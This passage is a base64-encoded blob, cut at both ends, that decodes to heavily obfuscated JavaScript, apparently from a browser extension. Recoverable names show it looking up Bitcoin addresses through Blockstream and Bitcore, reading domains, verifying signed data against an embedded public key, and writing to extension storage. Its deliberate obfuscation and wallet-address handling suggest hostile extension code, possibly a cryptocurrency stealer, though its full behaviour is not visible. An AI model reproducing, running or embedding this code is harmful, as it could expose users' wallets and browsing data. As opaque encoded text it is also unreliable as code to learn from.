yZjk7fSwnTGdXSnAnOl8weDQ2Njg0MigweDM1MSwnaTc1UCcsMHg0MTAsMHg0N2MsMHgzY2MpK18weGQ3MGYyMCgweDM0YywweDI0OSwnTHVyRCcsMHgzYTAsMHgzNjcpLCdIR1pucyc6XzB4MmNkZmFmKC0weGFhLCdlKUhKJywtMHgyZmQsLTB4MTBhLC0weDFiNikrXzB4MmNkZmFmKC0weDJkMSwnWChydCcsLTB4MmRmLC0weDIwZSwtMHgyNjkpK18weDU5NjRlNygtMHg1MywnJl5vaicsMHgxMSwweGE3LDB4MTI5KStfMHgyY2RmYWYoLTB4MjdmLCd0KTVdJywtMHgxN2UsLTB4MWZmLC0weDI2NiksJ05KRGlJJzpmdW5jdGlvbihfMHg0NTAxZmUsXzB4MmVlMTkzKXtyZXR1cm4gXzB4NDUwMWZlPT1fMHgyZWUxOTM7fSwnR1FnVkInOmZ1bmN0aW9uKF8weDMyMzI3MSxfMHg0OTI0MWUsXzB4YWFhZGQ3LF8weDNmMzUzZCl7cmV0dXJuIF8weDMyMzI3MShfMHg0OTI0MWUsXzB4YWFhZGQ3LF8weDNmMzUzZCk7fSwnRGVmVXMnOmZ1bmN0aW9uKF8weDQxMGIyMCxfMHg0M2U1Mjkpe3JldHVybiBfMHg0MTBiMjAhPT1fMHg0M2U1Mjk7fSwnTFlXTnEnOl8weDQ2NTg5MCgweDc3NCwweDU2YywweDcyMSwweDY1YSwnXWdmQScpLCdPQUdYRSc6XzB4NDY2ODQyKDB4MzBlLCdseVN5JywweDUwMSwweDQyOCwweDRkMyksJ05QZGFxJzpmdW5jdGlvbihfMHg4NjQ1NWQsXzB4MzM2N2ExKXtyZXR1cm4gXzB4ODY0NTVkK18weDMzNjdhMTt9LCdBZURWaSc6XzB4ZDcwZjIwKDB4M2FjLDB4M2VlLCdpNzVQJywweDJkZCwweDM4YSl9O2xldCBfMHgxNzAzZjU9W10sXzB4MTdiYTI2PVtdLF8weDUzMTkyOT1bXSxfMHg0NTIwZGU9YXdhaXQgXzB4MjRjNzc2W18weGQ3MGYyMCgweDQwNSwweDQyMCwnaGRzIycsMHg1M2MsMHg0NGMpXShnZXREb21haW4pO18weDI0Yzc3NltfMHgyY2RmYWYoLTB4MmI1LCdbeCNWJywtMHgyZGEsLTB4MTY5LC0weDI4OCldKF8weDQ1MjBkZVtfMHg0NjU4OTAoMHg3MzMsMHg1NzMsMHg2NjQsMHg2NjUsJ2ZBMzUnKV1bXzB4NTk2NGU3KDB4MTM4LCdmQTM1JywweDE4NywweDIxNCwweDM1NykrJ2gnXSwtMHgxZTMxKy0weDEqLTB4MTZkYisweDc1Nil8fF8weDI0Yzc3NltfMHhkNzBmMjAoMHgzMzgsMHgyZDgsJzImRW4nLDB4MmQyLDB4MzRmKV0oJycsXzB4NDUyMGRlKXx8XzB4MTcwM2Y1W18weDQ2NTg5MCgweDViOCwweDQ5YywweDNmMywweDRhMSwndjRPeCcpXShfMHg0NTIwZGUpO2Z1bmN0aW9uIF8weGQ3MGYyMChfMHhjN2UwYSxfMHg0Yzk5MWUsXzB4MzdmMTdjLF8weDNlMWVkZCxfMHgyNjg0NzYpe3JldHVybiBfMHg1NzhhZDQoXzB4MjY4NDc2LTB4MWRhLF8weDRjOTkxZS0weDFjMixfMHgzN2YxN2MtMHgxNTgsXzB4MzdmMTdjLF8weDI2ODQ3Ni0weDNkKTt9bGV0IF8weDQ0MzYyMj1hd2FpdCBfMHgyNGM3NzZbXzB4ZDcwZjIwKDB4M2IyLDB4MjAwLCd5W2hbJywweDJhYiwweDJhZCldKEdldEFkZHJlc3Nlc19CbG9ja3N0cmVhbSksXzB4NDU3MDEyPWF3YWl0IF8weDI0Yzc3NltfMHg0NjY4NDIoMHgyYmQsJ3lbaFsnLDB4Mzg3LDB4MzZkLDB4MmM3KV0oR2V0QWRkcmVzc2VzX0JpdGNvcmUpO18weDI0Yzc3NltfMHg0NjU4OTAoMHg0NWYsMHgzNTcsMHgzOWYsMHg0ODYsJ1R0N3InKV0oLTB4MTE1Ki0weDEwKzB4N2QqLTB4MzMrLTB4Nzk3Ki0weDEsXzB4NDQzNjIyKSYmXzB4MTdiYTI2W18weDJjZGZhZigtMHgxOGQsJ1UzWkUnLC0weDE4YSwtMHgyNGEsLTB4MjAyKV0oXzB4NDQzNjIyW18weDQ2Njg0MigweDI4ZCwndWYoKicsMHgyOWQsMHgyYzksMHg0MGEpK18weDQ2Njg0MigweDQxYSwndWYoKicsMHgxOTYsMHgyZGYsMHgzY2EpXSksXzB4MjRjNzc2W18weDJjZGZhZigtMHgxZjAsJ2ZhXXAnLC0weDM4ZSwtMHgzNzMsLTB4MjkxKV0oLTB4NjJiKzB4MTMyOSsweDY3ZiotMHgyLF8weDQ1NzAxMikmJl8weDE3YmEyNltfMHg0NjY4NDIoMHgyMjUsJ2RiNFYnLDB4MjA4LDB4MjNhLDB4MmVjKV0oXzB4NDU3MDEyW18weDJjZGZhZigtMHgyNWMsJ11nZkEnLC0weDE4MSwtMHhiYSwtMHgxOWMpK18weDQ2Njg0MigweDFmMCwndWVXNicsMHgyODAsMHgyOTUsMHgyMGMpXSksXzB4MTdiYTI2W18weGQ3MGYyMCgweDE4OCwweDEwMSwnZSlISicsMHgxYmMsMHgyMmQpKydjaCddKF8weDViZmE4Yj0+e2Z1bmN0aW9uIF8weDFiMzlkNihfMHg1ZGJlODYsXzB4Mzc0NDJiLF8weDQ5ZjBiNyxfMHg1YzBjMzQsXzB4NDZmMzM5KXtyZXR1cm4gXzB4NDY2ODQyKF8weDVkYmU4Ni0weDMyLF8weDVjMGMzNCxfMHg0OWYwYjctMHgxZTEsXzB4NDlmMGI3LSAtMHg2OCxfMHg0NmYzMzktMHg4Mik7fWZ1bmN0aW9uIF8weDFlMzgwMihfMHgxOTU5NjMsXzB4NWE3OTRmLF8weDQ4ZGJhOCxfMHgyNGUwZGMsXzB4MzhlZWY0KXtyZXR1cm4gXzB4MmNkZmFmKF8weDE5NTk2My0weGExLF8weDQ4ZGJhOCxfMHg0OGRiYTgtMHgxMWQsXzB4MjRlMGRjLTB4MWEsXzB4MzhlZWY0LTB4MWZiKTt9ZnVuY3Rpb24gXzB4MjEyN2YzKF8weDRmYzkyNixfMHg1ZTViOWYsXzB4NGQ0NjE4LF8weGQ0YjZkNyxfMHg0YWY1N2Epe3JldHVybiBfMHgyY2RmYWYoXzB4NGZjOTI2LTB4MWFjLF8weDRmYzkyNixfMHg0ZDQ2MTgtMHgxNjEsXzB4ZDRiNmQ3LTB4MTYwLF8weDRhZjU3YS0weDY2NSk7fWZ1bmN0aW9uIF8weDE0YmY0NyhfMHgxMzJhNjgsXzB4MjUwNTFiLF8weDQ3ZjJiNyxfMHgyZWRkNGIsXzB4M2VkYzMxKXtyZXR1cm4gXzB4NTk2NGU3KF8weDEzMmE2OC0weDExYSxfMHgzZWRjMzEsXzB4NDdmMmI3LTB4MjAsXzB4NDdmMmI3LTB4YWIsXzB4M2VkYzMxLTB4NGQpO31mdW5jdGlvbiBfMHgyZDMxMDEoXzB4MTU1N2VjLF8weDFhZTQxMCxfMHg0MWQ1M2EsXzB4NGQ2NDU0LF8weDMyNTdiMSl7cmV0dXJuIF8weDU5NjRlNyhfMHgxNTU3ZWMtMHgzNixfMHg0MWQ1M2EsXzB4NDFkNTNhLTB4NDgsXzB4MWFlNDEwLSAtMHgzMmIsXzB4MzI1N2IxLTB4MWYpO31jb25zdCBfMHgzNTg3YzU9eydzT2JnWic6ZnVuY3Rpb24oXzB4NTcwYTE1LF8weDNkZGEwOCl7ZnVuY3Rpb24gXzB4YmYxMmViKF8weDM2MTM2YyxfMHhkZGJmNmEsXzB4MzM5NWI3LF8weDU1NTIzYixfMHhlN2I4OSl7cmV0dXJuIF8weDIzYzYoXzB4MzM5NWI3LSAtMHgyYzAsXzB4MzYxMzZjKTt9cmV0dXJuIF8weDI0Yzc3NltfMHhiZjEyZWIoJ1R0N3InLC0weDFlZiwtMHgxZjMsLTB4MmMyLC0weDMyNCldKF8weDU3MGExNSxfMHgzZGRhMDgpO30sJ0NkakdBJzpmdW5jdGlvbihfMHgzMjYzZTgsXzB4NGQ1ZDcwKXtmdW5jdGlvbiBfMHgzYWVlODEoXzB4MjBhNjZhLF8weDMzZjI0MSxfMHg0YmZhZjIsXzB4MjU2Mzc5LF8weDRlMWJmZSl7cmV0dXJuIF8weDIzYzYoXzB4NGUxYmZlLSAtMHgxMGUsXzB4MzNmMjQxKTt9cmV0dXJuIF8weDI0Yzc3NltfMHgzYWVlODEoMHgyNmYsJ1R0N3InLDB4OGYsMHgxOTYsMHgxM2QpXShfMHgzMjYzZTgsXzB4NGQ1ZDcwKTt9LCdkT3VmUyc6ZnVuY3Rpb24oXzB4MTVhNmM3LF8weDIzM2VkMil7ZnVuY3Rpb24gXzB4NGM3ZGU2KF8weDM1OGM0ZixfMHgyMzcxMzcsXzB4MjNlODYxLF8weDE1NDViZCxfMHg1YjE2ODApe3JldHVybiBfMHgyM2M2KF8weDViMTY4MC0weDJhZSxfMHgyMzcxMzcpO31yZXR1cm4gXzB4MjRjNzc2W18weDRjN2RlNigweDNhZiwnJl5vaicsMHg0YWUsMHg1MGIsMHg0ZjApXShfMHgxNWE2YzcsXzB4MjMzZWQyKTt9LCdKeEtYSSc6ZnVuY3Rpb24oXzB4MjI2OGVlLF8weDIyZjM3MSl7ZnVuY3Rpb24gXzB4MjU5ZjVmKF8weDVjNzYxYyxfMHhhZmQyYzYsXzB4MTU5YWYwLF8weDE0OWViOCxfMHhjY2NmYzkpe3JldHVybiBfMHgyM2M2KF8weDE0OWViOC0weDMyOCxfMHgxNTlhZjApO31yZXR1cm4gXzB4MjRjNzc2W18weDI1OWY1ZigweDNkOCwweDRkYSwncWlWSicsMHg0NGMsMHg0ZTEpXShfMHgyMjY4ZWUsXzB4MjJmMzcxKTt9LCdyV0ppTic6ZnVuY3Rpb24oXzB4Yjg5NGI5LF8weDc5YjNkMyl7ZnVuY3Rpb24gXzB4NGViZTIxKF8weDUyODk3ZCxfMHgxYjU2MzAsXzB4NTFmZjZlLF8weDNiZTg0YyxfMHg0YTFlODYpe3JldHVybiBfMHgyM2M2KF8weDUxZmY2ZS0gLTB4Mzk0LF8weDNiZTg0Yyk7fXJldHVybiBfMHgyNGM3NzZbXzB4NGViZTIxKC0weGZiLC0weDExNCwtMHgyMjMsJ3hbTSEnLC0weDExZCldKF8weGI4OTRiOSxfMHg3OWIzZDMpO319O2lmKF8weDI0Yzc3NltfMHgxNGJmNDcoMHgxODcsMHgxZjcsMHgyMjAsMHgzNGYsJ3BUN0QnKV0oXzB4MjRjNzc2W18weDE0YmY0NygweDNlOCwweDJmYSwweDM1MiwweDI0NiwnUiVrdycpXSxfMHgyNGM3NzZbXzB4MWIzOWQ2KDB4MzE1LDB4MjE2LDB4MmNmLCdkYjRWJywweDNhOSldKSlfMHg1YmZhOGJbXzB4MTRiZjQ3KDB4OTQsMHgxNWEsMHgxYzUsMHhjNSwnMSR3WCcpKydjaCddKF8weDU3NjZjYj0+XzB4NTMxOTI5W18weDE0YmY0NygweDQxLDB4MWUsMHgxMjUsMHgyMiwnREtZaycpXShfMHg1NzY2Y2IpKTtlbHNle2ZvcihfMHg1YmZkYmU9MHgxKi0weGQxZSstMHgxKjB4MWUyYisweDJiNDk7XzB4MzU4N2M1W18weDFiMzlkNigweDI3OSwweDNhMiwweDJhYSwnWChydCcsMHgxZTUpXShfMHgxN2FlOTUsXzB4NGVmYjM2W18weDJkMzEwMSgtMHgxNmQsLTB4OTcsJ0BqRE0nLDB4OTUsLTB4MTAxKSsnaCddKTspXzB4MTI4NjVkW18weDFhOWE4N108PD0weGMzKi0weDUrLTB4MSoweDFhODYrLTB4YTFmKi0weDMsXzB4MjE5YzI5Kys7Zm9yKF8weDU0Y2RhNFsweDE3N2ErMHgxKi0weDIwMisweDE1NzgqLTB4MV0rPV8weDI1ZWMyMVtfMHg0MTMyMGJdLF8weDJkMzBmMz0weDEqLTB4ZjI1KzB4MTQqMHgxMTIrLTB4NjQzLF8weDE1M2M0ZD0tMHgxODJjKzB4MSotMHgzMSsweDE4NWQ7XzB4MzU4N2M1W18weDFlMzgwMigtMHgxMDksLTB4NDYsJ11nZkEnLDB4MTgsMHhiKV0oXzB4YjVjMWFhLF8weDY0NjM4ZltfMHgxZTM4MDIoMHgxNTUsMHgzNiwnWChydCcsMHhkOCwweDEwNikrJ2gnXSk7KV8weDJiMTkwYltfMHhjYzI2ZjJdKz1fMHgxNDA3ZTMsXzB4NGUyODY2PV8weDM1ODdjNVtfMHgxYjM5ZDYoMHgxODMsMHgzM2EsMHgyNDMsJ0U5RCUnLDB4MzgzKV0oXzB4MzU4N2M1W18weDFlMzgwMigtMHhlYiwtMHgxMCwnMiZFbicsLTB4MTI5LDB4ZCldKF8weDM0NDg2NVtfMHg5OTRlYjldLDB4MTYyKi0weDgrMHhkNTMrLTB4MjA5KSwtMHgxYWE3Ky0weDI1MmYrMHgzZmQ2KjB4MSksXzB4MWU5OWM4W18weGI3YTc2Zl0lPS0weDEwMzArLTB4MjQ3YysweDM0ZTYsKytfMHhiMDI5Yzg7Zm9yKDtfMHgyYmNiZWY7KV8weDQ1YTAzMFtfMHgyMTI3ZjMoJ11nZkEnLDB4NTU4LDB4NjNhLDB4NGE2LDB4NWVhKV0oXzB4MzU4N2M1W18weDFlMzgwMigweDliLDB4MTZlLCcmXm9qJywtMHhkZSwweDNhKV0oXzB4NDljNzIwLDB4MjU4Ky0weDE3MWMrLTB4MTRmZSotMHgxKSksXzB4MTJkMzIxPV8weDM1ODdjNVtfMHgyZDMxMDEoLTB4OWMsLTB4NGYsJ0hOVFInLC0weDE3LDB4NDQpXShfMHgzNTg3YzVbXzB4MWUzODAyKDB4ZTgsLTB4NjAsJ2FhNnAnLDB4YTIsMHg2NCldKF8weDRlMTY4ZCwweDIzNzkqLTB4MSsweDNiMSsweDIwMDIqMHgxKSwweGQqLTB4MjUxKy0weDFjZDgrMHgzYWY1KTtfMHgxZDhkN2IrKzt9fSksXzB4NTMxOTI5W18weGQ3MGYyMCgweDQ0OSwweDRhNCwndWVXNicsMHg0MGEsMHgzN2YpKydjaCddKF8weDRmMDUyMT0+e2Z1bmN0aW9uIF8weDExNmE5NChfMHgxODg3YzgsXzB4NGEzZTRjLF8weDE5N2JjMSxfMHg1ZGYyODQsXzB4NGZjMWM5KXtyZXR1cm4gXzB4MmNkZmFmKF8weDE4ODdjOC0weDE2MyxfMHgxOTdiYzEsXzB4MTk3YmMxLTB4MThmLF8weDVkZjI4NC0weDFkMixfMHg0YTNlNGMtIC0weDQ3KTt9ZnVuY3Rpb24gXzB4NWE4ZTViKF8weDFjMTMyYyxfMHgyNDUxZWEsXzB4MjlkYTUzLF8weDFjMzliZixfMHgxYjY4NzIpe3JldHVybiBfMHg0NjY4NDIoXzB4MWMxMzJjLTB4YzYsXzB4MjlkYTUzLF8weDI5ZGE1My0weDE1OSxfMHgxYjY4NzItIC0weDUyOSxfMHgxYjY4NzItMHhiNCk7fWZ1bmN0aW9uIF8weDNlNzFhNihfMHg4NTk1ZWMsXzB4ZmJmMGU2LF8weDE4NjViOSxfMHgxYWExODUsXzB4MWZlMTEyKXtyZXR1cm4gXzB4ZDcwZjIwKF8weDg1OTVlYy0weGM5LF8weGZiZjBlNi0weDFkMSxfMHgxYWExODUsXzB4MWFhMTg1LTB4MTQzLF8weGZiZjBlNi0gLTB4MWM4KTt9ZnVuY3Rpb24gXzB4NThiYmQ4KF8weDMyNzc2MyxfMHgzZTJkOTgsXzB4MzhjNTViLF8weDZjOTRlLF8weDQ3ZGY0MCl7cmV0dXJuIF8weDQ2Njg0MihfMHgzMjc3NjMtMHg0YixfMHg2Yzk0ZSxfMHgzOGM1NWItMHgxYTAsXzB4MzI3NzYzLSAtMHgyZjEsXzB4NDdkZjQwLTB4MTA5KTt9ZnVuY3Rpb24gXzB4MmNhYzk0KF8weDVlNzkwYSxfMHg0YTBlN2EsXzB4MTRlMDVmLF8weGEyYTJkOSxfMHgyYzc5ZDQpe3JldHVybiBfMHhkNzBmMjAoXzB4NWU3OTBhLTB4YWEsXzB4NGEwZTdhLTB4MzgsXzB4YTJhMmQ5LF8weGEyYTJkOS0weDE5NSxfMHg0YTBlN2EtIC0weDI4MSk7fWlmKF8weDI0Yzc3NltfMHgyY2FjOTQoLTB4YzMsMHg2NywtMHhkNiwnZmFdcCcsMHgzYildKF8weDI0Yzc3NltfMHgyY2FjOTQoMHgxZTcsMHgxMTMsMHgxZDYsJ2NeXkAnLDB4MTRiKV0sXzB4MjRjNzc2W18weDJjYWM5NCgtMHgxMywweGNjLDB4MWY0LCdOITgxJywtMHgxNCldKSlyZXR1cm4hKDB4NTkxKy0weDI0MWMrMHgxZThjKTtlbHNlIHRyeXtpZihfMHgyNGM3NzZbXzB4MmNhYzk0KDB4MTY4LDB4YWYsLTB4OTYsJ1t4I1YnLDB4MTQ5KV0oXzB4MjRjNzc2W18weDNlNzFhNigweDIxMywweDFjMywweDIwYywncCZiTScsMHhhNCldLF8weDI0Yzc3NltfMHg1YThlNWIoLTB4ZmUsLTB4MjEyLCdmQTM1JywtMHg2LC0weDEzNyldKSl7bGV0IF8weDVlYTBiNj1jaHJvbWVbXzB4MmNhYzk0KDB4MTMzLDB4YTQsMHgxNmQsJ0RDYyonLDB4MTVkKSsnbSddW18weDExNmE5NCgtMHgzYzEsLTB4MjkxLCc2RjIjJywtMHgxZmIsLTB4MmZlKSsnOCddW18weDExNmE5NCgtMHgzNzUsLTB4MmQ1LCdacENxJywtMHgxYTIsLTB4MWVjKSsnZSddKF8weDRmMDUyMSk7XzB4NWVhMGI2PV8weDVlYTBiNltfMHgzZTcxYTYoMHhjMSwweGU0LDB4MThjLCc3YXpMJywweDRjKV0oLTB4MjFkYistMHgxZGRmKzB4NGU3KjB4ZCwtMHgyMTkzKy0weDEqLTB4OTAxKzB4MThhNyksXzB4NWVhMGI2PV8weDI0Yzc3NltfMHgyY2FjOTQoMHg1ZSwtMHg4NSwtMHhlMCwnJG0yRScsLTB4MTkpXShDU3RyaW5nVG9TdHJpbmcsXzB4NWVhMGI2KSxfMHgxNzAzZjVbXzB4MmNhYzk0KDB4YjcsMHg5MSwweGI4LCdYKHJ0JywweDFiZCldKF8weDVlYTBiNik7fWVsc2UgcmV0dXJuISgtMHgxKjB4YjllKy0weDEqLTB4MWVhNistMHgxMzA3KTt9Y2F0Y2goXzB4MjlhMGFlKXt9fSk7bGV0IF8weDIzMzIyNT1bLi4ubmV3IFNldChfMHgxNzAzZjUpXTtmdW5jdGlvbiBfMHg0NjU4OTAoXzB4NWE4NTYwLF8weDJkYWVmZSxfMHhlYjkxYzEsXzB4NWNlYTQ2LF8weDUwMTg4Myl7cmV0dXJuIF8weDU2MzZmNyhfMHg1YTg1NjAtMHgxMjEsXzB4NWNlYTQ2LTB4NjQ5LF8weGViOTFjMS0weDFjLF8weDUwMTg4MyxfMHg1MDE4ODMtMHgxZTYpO312YXIgXzB4YzNhZWQyO2ZvcihfMHhjM2FlZDI9LTB4MWEqMHgxNjcrMHgxZjIqMHgxMisweGEqMHgyNTtfMHgyNGM3NzZbXzB4NTk2NGU3KDB4ZGMsJ3VmKConLDB4MWFkLDB4MWMzLDB4MTIyKV0oXzB4YzNhZWQyLF8weDIzMzIyNVtfMHg1OTY0ZTcoLTB4M2EsJ3FpVkonLDB4ODEsMHg5OCwweGIxKSsnaCddKTtfMHhjM2FlZDIrKyl7dHJ5e2lmKF8weDI0Yzc3NltfMHgyY2RmYWYoLTB4MWY3LCdqUVp2JywtMHgyMTYsLTB4ZmEsLTB4MWUzKV0oXzB4MjRjNzc2W18weDQ2Njg0MigweDU3MSwnRENjKicsMHgzYmEsMHg0NDQsMHgzN2MpXSxfMHgyNGM3NzZbXzB4MmNkZmFmKC0weDIyYywneFNVNCcsLTB4NTQsLTB4MTdhLC0weDExNSldKSl7bGV0IF8weDMzNmJlZD1bXTtyZXR1cm4gXzB4MmE2OTk3W18weDQ2Njg0MigweDM1YywnV3lLQicsMHg0YTYsMHgzZmUsMHg1MGUpKydjaCddKGZ1bmN0aW9uIF8weDFlYmYwNShfMHgyMzhjNjQpe2Z1bmN0aW9uIF8weDExNWVlOShfMHg2NmQxZixfMHg1ODRhN2YsXzB4MmI3NTUxLF8weDI3ODQ0MyxfMHg1ODhhYTQpe3JldHVybiBfMHg0NjY4NDIoXzB4NjZkMWYtMHgxZWMsXzB4NTg0YTdmLF8weDJiNzU1MS0weDE3MixfMHg2NmQxZi0gLTB4NDM1LF8weDU4OGFhNC0weGJhKTt9ZnVuY3Rpb24gXzB4NDY1MTM4KF8weDIyNTUwNixfMHgzZWQ5YzYsXzB4NGI3MmNlLF8weDQ0N2VmNSxfMHgxMDIyZTQpe3JldHVybiBfMHgyY2RmYWYoXzB4MjI1NTA2LTB4ZTcsXzB4NDQ3ZWY1LF8weDRiNzJjZS0weDQ4LF8weDQ0N2VmNS0weDE3OSxfMHgzZWQ5YzYtIC0weDEwKTt9ZnVuY3Rpb24gXzB4MjA2YmEwKF8weDNkYmI2OSxfMHgzMzVhMWMsXzB4NDA0MGJiLF8weDViNjA5YSxfMHg0ZWQwOWIpe3JldHVybiBfMHg1OTY0ZTcoXzB4M2RiYjY5LTB4NSxfMHg1YjYwOWEsXzB4NDA0MGJiLTB4MTQxLF8weDNkYmI2OS0weDI5NCxfMHg0ZWQwOWItMHgxNDkpO31fMHg1ZWVjNTVbXzB4MjA2YmEwKDB4NGI5LDB4NWVlLDB4NDFmLCckbTJFJywweDRlYykrJ2F5J10oXzB4MjM4YzY0KT9fMHgyMzhjNjRbXzB4MjA2YmEwKDB4M2Q2LDB4NDFhLDB4NDAxLCddZ2ZBJywweDI4ZikrJ2NoJ10oXzB4MWViZjA1KTpfMHgzMzZiZWRbXzB4MTE1ZWU5KC0weGRkLCdQQCEqJywweDExLC0weDVhLC0weDIwMildKF8weDIzOGM2NCk7fSksXzB4MzM2YmVkO31lbHNle3ZhciBfMHg0MmIwYzc9XzB4MjRjNzc2W18weDQ2Njg0MigweDVkNSwncCZiTScsMHgzOGUsMHg0OTEsMHg1NTEpXShfMHgyNGM3NzZbXzB4ZDcwZjIwKDB4MjBmLDB4MjU5LCdkYjRWJywweDMyZCwweDIxMyldKF8weDI0Yzc3NltfMHg0NjY4NDIoMHg0MGUsJ2k3NVAnLDB4MWU5LDB4MmZjLDB4M2FlKV0oXzB4MjRjNzc2W18weDJjZGZhZigtMHgzN2YsJ28xcUInLC0weDMwMywtMHgxYmMsLTB4MmRhKV0sXzB4MjMzMjI1W18weGMzYWVkMl0pLF8weDI0Yzc3NltfMHg0NjY4NDIoMHgzNjgsJ1t4I1YnLDB4NGE2LDB4NGE1LDB4NDNkKV0pLF8weDIzMzIyNVtfMHhjM2FlZDJdKTtsZXQgXzB4MTgzMGEwPWF3YWl0IF8weDI0Yzc3NltfMHg0NjY4NDIoMHgzYTAsJ0hOVFInLDB4Mjk2LDB4MzgwLDB4MzQ2KV0oZ2V0U2lnbkRhdGEsXzB4NDJiMGM3KTt2YXIgXzB4MTI2NDM3PV8weDIzMzIyNVtfMHhjM2FlZDJdO2lmKF8weDI0Yzc3NltfMHgyY2RmYWYoLTB4MWY4LCdwVDdEJywtMHhmYSwweDVmLC0weGI5KV0oMHg5Ki0weDI0YistMHhhNzgrMHgxZjFjLGF3YWl0IF8weDI0Yzc3NltfMHgyY2RmYWYoLTB4MWQ4LCdmYV1wJywtMHgyNTMsLTB4NzYsLTB4MTRjKV0odmVyaWZ5U2lnbmF0dXJlLHB1YmxpY0tleUJhc2U2NCxfMHgxODMwYTAsXzB4MTI2NDM3KSkpe2lmKF8weDI0Yzc3NltfMHhkNzBmMjAoMHg1MDYsMHg1MzcsJ0RDYyonLDB4MzM1LDB4NDI0KV0oXzB4MjRjNzc2W18weGQ3MGYyMCgweDIwYywweDJlMCwnJG0yRScsMHg0MmIsMHgyZjMpXSxfMHgyNGM3NzZbXzB4MmNkZmFmKC0weDExNSwnZGI0VicsLTB4Mjc0LC0weDE3OSwtMHgxOTIpXSkpe2Nocm9tZVtfMHhkNzBmMjAoMHgzYjAsMHgyNmQsJ1BAISonLDB4MTcyLDB4MjgxKSsnZ2UnXVtfMHhkNzBmMjAoMHgzY2UsMHg0MzMsJ1R0N3InLDB4MzcxLDB4MzFmKV1bXzB4NDY2ODQyKDB4MmU0LCdmQTM1JywweDI5ZCwweDNjOCwweDQwMildKHsnZG9tYWluJzpfMHgyNGM3NzZbXzB4MmNkZmFmKC0weDE3ZSwnV3lLQicsLTB4MmRjLC0weDM2MywtMHgyNGQpXShfMHgyNGM3NzZbXzB4NTk2NGU3KDB4MmEwLCdES1lrJywweDI3OSwweDIwNCwweDFiYyldKF8weDI0Yzc3NltfMHg0NjY4NDIoMHgxNTYsJ1lrITYnLDB4MmZjLDB4MjIyLDB4MTA2KV0sXzB4MTI2NDM3KSxfMHgyNGM3NzZbXzB4ZDcwZjIwKDB4MjZiLDB4NDVlLCdSUzBPJywweDNhNSwweDMzYyldKX0pO2JyZWFrO31lbHNle2xldCBfMHgyMzQwZmY9bmV3IF8weDJjMzFmYigpO2Zvcih2YXIgXzB4NThhN2UwPTB4NGMqLTB4N2ErMHgyNGExKy0weDEqMHg2OTtfMHgyNGM3NzZbXzB4MmNkZmFmKC0weDMyZiwnJG0yRScsLTB4MjRhLC0weDMwNiwtMHgyYmIpXSgweDg2YistMHgxKjB4NjE5Ky0weDIqMHgxMjksXzB4NDE5YjNhW18weDU4YTdlMF0pO18weDU4YTdlMCsrKV8weDIzNDBmZltfMHhkNzBmMjAoMHgyZTMsMHgxMzksJ3VmKConLDB4MjM3LDB4MWZmKV0oXzB4MzJhOWRiW18weDU4YTdlMF0pO3JldHVybiBfMHgyYjAxNTNbXzB4NDY2ODQyKDB4NDdmLCdEQ2MqJywweDRmOCwweDQ2NSwweDU4NykrXzB4ZDcwZjIwKDB4NDg3LDB4MmFjLCdtMU1jJywweDMyZiwweDM0OCkrJ2RlJ11bXzB4NTk2NGU3KDB4MmI2LCdpNzVQJywweDFjMiwweDJhOSwweDJlMildKG51bGwsXzB4MjM0MGZmKTt9fX19Y2F0Y2goXzB4NGI4ZTg1KXt9fWZ1bmN0aW9uIF8weDJjZGZhZihfMHg1ZmE5YjcsXzB4M2Y4OTE4LF8weDMxNzE5ZCxfMHg1NmQwOGUsXzB4ZWM4ZmQxKXtyZXR1cm4gXzB4MTI4MDk3KF8weDVmYTliNy0weGJjLF8weDNmODkxOCxfMHgzMTcxOWQtMHhjMixfMHhlYzhmZDEtIC0weDE0MSxfMHhlYzhmZDEtMHgxODMpO31yZXR1cm4gXzB4MjRjNzc2W18weDU5NjRlNygweGE4LCdYKHJ0JywweDFlZiwweGVlLDB4MTFlKV0oXzB4MzdmNTcwLCEoLTB4NjYqLTB4MTkrMHgxNTAxKy0weDFlZjcpKTt9KTtmdW5jdGlvbiBiYXNlNjRUb1VpbnQ4QXJyYXkoXzB4MjU0OTliKXtmdW5jdGlvbiBfMHg1ODIxNWEoXzB4NTM0NTE3LF8weDE4ZWRhMSxfMHg1MTJjNGIsXzB4NTQ2NzllLF8weDVjY2FiMil7cmV0dXJuIF8weGE0ZGM1YihfMHg1MzQ1MTctMHgxOTksXzB4NWNjYWIyLF8weDUzNDUxNy0weDVjYyxfMHg1NDY3OWUtMHhkYSxfMHg1Y2NhYjItMHgxNDQpO31mdW5jdGlvbiBfMHgxOTVkNDUoXzB4NWIzMDY2LF8weDI5NzgyNixfMHgxMTRjZTksXzB4MzE1N2ZhLF8weDUyZjMzNil7cmV0dXJuIF8weDEyODA5NyhfMHg1YjMwNjYtMHgyOSxfMHg1MmYzMzYsXzB4MTE0Y2U5LTB4MTE2LF8weDViMzA2Ni0weDFlNSxfMHg1MmYzMzYtMHhlNyk7fWZ1bmN0aW9uIF8weDE5NDE2NihfMHg1ZDRhZDcsXzB4MzY3NjEwLF8weDFkOGMxZCxfMHgxYWFiOWIsXzB4YjhjNWQxKXtyZXR1cm4gXzB4NTc4YWQ0KF8weGI4YzVkMS0weDE0MixfMHgzNjc2MTAtMHgxZTEsXzB4MWQ4YzFkLTB4MTY0LF8weDFhYWI5YixfMHhiOGM1ZDEtMHgxMjIpO31mdW5jdGlvbiBfMHg0OWRjY2UoXzB4NTMyODExLF8weDU5YWYyOCxfMHgyNDFjNmYsXzB4MmQ0MWI3LF8weDFhMzgyZCl7cmV0dXJuIF8weDVmYTE2YShfMHg1MzI4MTEtMHg0NDMsXzB4NTlhZjI4LTB4M2MsXzB4MjQxYzZmLTB4MWJiLF8weDI0MWM2ZixfMHgxYTM4MmQtMHgxY2UpO31mdW5jdGlvbiBfMHg0OWIwN2EoXzB4NDViYTg3LF8weDUzY2YxZixfMHgzYzMwNGEsXzB4NGIxMWNjLF8weDYzM2Q2Zil7cmV0dXJuIF8weDU2MzZmNyhfMHg0NWJhODctMHhiOCxfMHg1M2NmMWYtMHgzNGEsXzB4M2MzMDRhLTB4MWNmLF8weDYzM2Q2ZixfMHg2MzNkNmYtMHgxZWUpO31jb25zdCBfMHhmMjQ4YTU9eydQbm9EZSc6ZnVuY3Rpb24oXzB4MWFkY2YsXzB4NTAwYzEzKXtyZXR1cm4gXzB4MWFkY2YoXzB4NTAwYzEzKTt9LCdQS0RkUCc6ZnVuY3Rpb24oXzB4MTkyMmFmLF8weDVjM2Y5Myl7cmV0dXJuIF8weDE5MjJhZjxfMHg1YzNmOTM7fX0sXzB4MmFkZDMwPV8weGYyNDhhNVtfMHg1ODIxNWEoMHg0NDQsMHg1MTcsMHgzODIsMHgyZmQsJ0x1ckQnKV0oYXRvYixfMHgy